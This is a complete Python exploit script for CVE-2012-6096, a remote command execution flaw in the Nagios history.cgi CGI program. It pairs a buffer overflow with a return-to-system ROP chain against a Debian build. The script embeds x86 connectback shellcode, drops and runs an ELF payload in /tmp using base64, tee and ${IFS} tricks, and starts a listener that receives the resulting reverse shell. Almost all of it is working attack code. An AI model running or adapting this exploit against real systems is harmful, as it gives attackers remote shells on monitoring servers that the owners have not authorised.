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- #!/usr/bin/python
- #
- # CVE-2012-6096 - Nagios history.cgi Remote Command Execution
- # ===========================================================
- # Another year, another reincarnation of classic and trivial
- # bugs to exploit. This time we attack Nagios.. or more
- # specifically, one of its CGI scripts. [1]
- #
- # The Nagios code is an amazing monster. It reminds me a
- # lot of some of my early experiments in C, back when I
- # still had no clue what I was doing. (Ok, fair enough,
- # I still don't, heheh.)
- #
- # Ok, I'll come clean. This exploit doesn't exactly
- # defeat FORTIFY. This approach is likely to work just FINE
- # on other crippled distro's though, think of stuff like
- # ArchLinux, Slackware, and all those Gentoo kids twiddling
- # their CFLAGS. [2] (Oh and hey, BSD and stuff!)
- #
- # I do some very stupid shit(tm) here that might make an
- # exploit coder or two cringe. My sincere apologies for that.
- #
- # Cold beer goes out to my friends who are still practicing
- # this dying but interesting type of art:
- #
- # * brainsmoke * masc * iZsh * skier_ * steve *
- #
- # -- blasty <blasty@fail0verflow.com> / 2013-01-08
- #
- # References:
- # [1] http://permalink.gmane.org/gmane.comp.security.oss.general/9109
- # [2] http://www.funroll-loops.info/
- #
- # P.S. To the clown who rebranded my Samba exploit: j00 s0 1337 m4n!
- # Next time you rebrand an exploit at least show some diligence and
- # add some additional targets or improvements, so we can all profit!
- #
- # P.P.S. hey, Im not _burning_ bugs .. this is a 2day, enjoy!
- #
- import os, sys, socket, struct, urllib, threading, SocketServer, time
- from base64 import b64encode
- SocketServer.TCPServer.allow_reuse_address = True
- targets = [
- {
- "name" : "Debian (nagios3_3.0.6-4~lenny2_i386.deb)",
- "smash_len" : 0xc37,
- "unescape" : 0x0804b620,
- "popret" : 0x08048fe4,
- "hostbuf" : 0x080727a0,
- "system_plt" : 0x08048c7c
- }
- ]
- def u32h(v):
- return struct.pack("<L", v).encode('hex')
- def u32(v, hex = False):
- return struct.pack("<L", v)
- # Tiny ELF stub based on:
- # http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html
- def make_elf(sc):
- elf_head = \
- "7f454c46010101000000000000000000" + \
- "02000300010000005480040834000000" + \
- "00000000000000003400200001000000" + \
- "00000000010000000000000000800408" + \
- "00800408" + u32h(0x54+len(sc))*2 + \
- "0500000000100000"
- return elf_head.decode("hex") + sc
- # interactive connectback listener
- class connectback_shell(SocketServer.BaseRequestHandler):
- def handle(self):
- print "\n[!!] K4P0W!@# -> shell from %s" % self.client_address[0]
- print "[**] This shell is powered by insane amounts of illegal substances"
- s = self.request
- import termios, tty, select, os
- old_settings = termios.tcgetattr(0)
- try:
- tty.setcbreak(0)
- c = True
- os.write(s.fileno(), "id\nuname -a\n")
- while c:
- for i in select.select([0, s.fileno()], [], [], 0)[0]:
- c = os.read(i, 1024)
- if c:
- if i == 0:
- os.write(1, c)
- os.write(s.fileno() if i == 0 else 1, c)
- except KeyboardInterrupt: pass
- finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
- return
- class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
- pass
- if len(sys.argv) != 5:
- print "\n >> Nagios 3.x CGI remote code execution by <blasty@fail0verflow.com>"
- print " >> \"Jetzt geht's Nagi-los!\"\n"
- print " usage: %s <base_uri> <myip> <myport> <target>\n" % (sys.argv[0])
- print " targets:"
- i = 0
- for target in targets:
- print " %02d) %s" % (i, target['name'])
- i = i+1
- print ""
- sys.exit(-1)
- target_no = int(sys.argv[4])
- if target_no < 0 or target_no > len(targets):
- print "Invalid target specified"
- sys.exit(-1)
- target = targets[ int(sys.argv[4]) ]
- # comment this shit if you want to setup your own listener
- server = ThreadedTCPServer((sys.argv[2], int(sys.argv[3])), connectback_shell)
- server_thread = threading.Thread(target=server.serve_forever)
- server_thread.daemon = True
- server_thread.start()
- # shellcode to be executed
- # vanilla x86/linux connectback written by a dutch gentleman
- # close to a decade ago.
- cback = \
- "31c031db31c951b10651b10151b10251" + \
- "89e1b301b066cd8089c231c031c95151" + \
- "68badc0ded6668b0efb102665189e7b3" + \
- "1053575289e1b303b066cd8031c939c1" + \
- "740631c0b001cd8031c0b03f89d3cd80" + \
- "31c0b03f89d3b101cd8031c0b03f89d3" + \
- "b102cd8031c031d250686e2f7368682f" + \
- "2f626989e3505389e1b00bcd8031c0b0" + \
- "01cd80"
- cback = cback.replace("badc0ded", socket.inet_aton(sys.argv[2]).encode("hex"))
- cback = cback.replace("b0ef", struct.pack(">H", int(sys.argv[3])).encode("hex"))
- # Eww.. so there's some characters that dont survive the trip..
- # yes, even with the unescape() call in our return-chain..
- # initially I was going to use some /dev/tcp based connectback..
- # but /dev/tcp isn't available/accesible everywhere, so instead
- # we drop an ELF into /tmp and execute that. The '>' characters
- # also doesn't survive the trip so we work around this by using
- # the tee(1) utility.
- # If your target has a /tmp that is mounted with noexec flag,
- # is severely firewalled or guarded by trained (watch)dogs..
- # you might want to reconsider this approach!
- cmd = \
- "rm -rf /tmp/x;" + \
- "echo " + b64encode(make_elf(cback.decode('hex'))) + "|" + \
- "base64 -d|tee /tmp/x|chmod +x /tmp/x;/tmp/x;"
- # Spaces (0x20) are also a problem, they always ends up as '+' :-(
- # so apply some olde trick and rely on $IFS for argv separation
- cmd = cmd.replace(" ", "${IFS}")
- # Basic return-2-whatever/ROP chain.
- # We return into cgi_input_unescape() to get rid of
- # URL escaping in a static buffer we control, and then
- # we return into system@plt for the moneyshot.
- #
- # Ergo sum:
- # There's no memoryleak or whatever needed to leak libc
- # base and bypass ASLR.. This entire Nagios PoS is stringed
- # together by system() calls, so pretty much every single one
- # of their little silly binaries comes with a PLT entry for
- # system(), huzzah!
- rop = [
- u32(target['unescape']),
- u32(target['popret']),
- u32(target['hostbuf']),
- u32(target['system_plt']),
- u32(0xdeafbabe),
- u32(target['hostbuf'])
- ]
- # Yes.. urllib, so it supports HTTPS, basic-auth and whatnot
- # out of the box. Building HTTP requests from scratch is so 90ies..
- params = urllib.urlencode({
- 'host' : cmd + "A"*(target['smash_len']-len(cmd)) + "".join(rop)
- })
- print "[>>] CL1Q .."
- f = urllib.urlopen(sys.argv[1]+"/cgi-bin/history.cgi?%s" % params)
- print "[>>] CL4Q .."
- f.read()
- # TRIAL PERIOD ACTIVE, LOL!
- time.sleep(0x666)
- server.shutdown()
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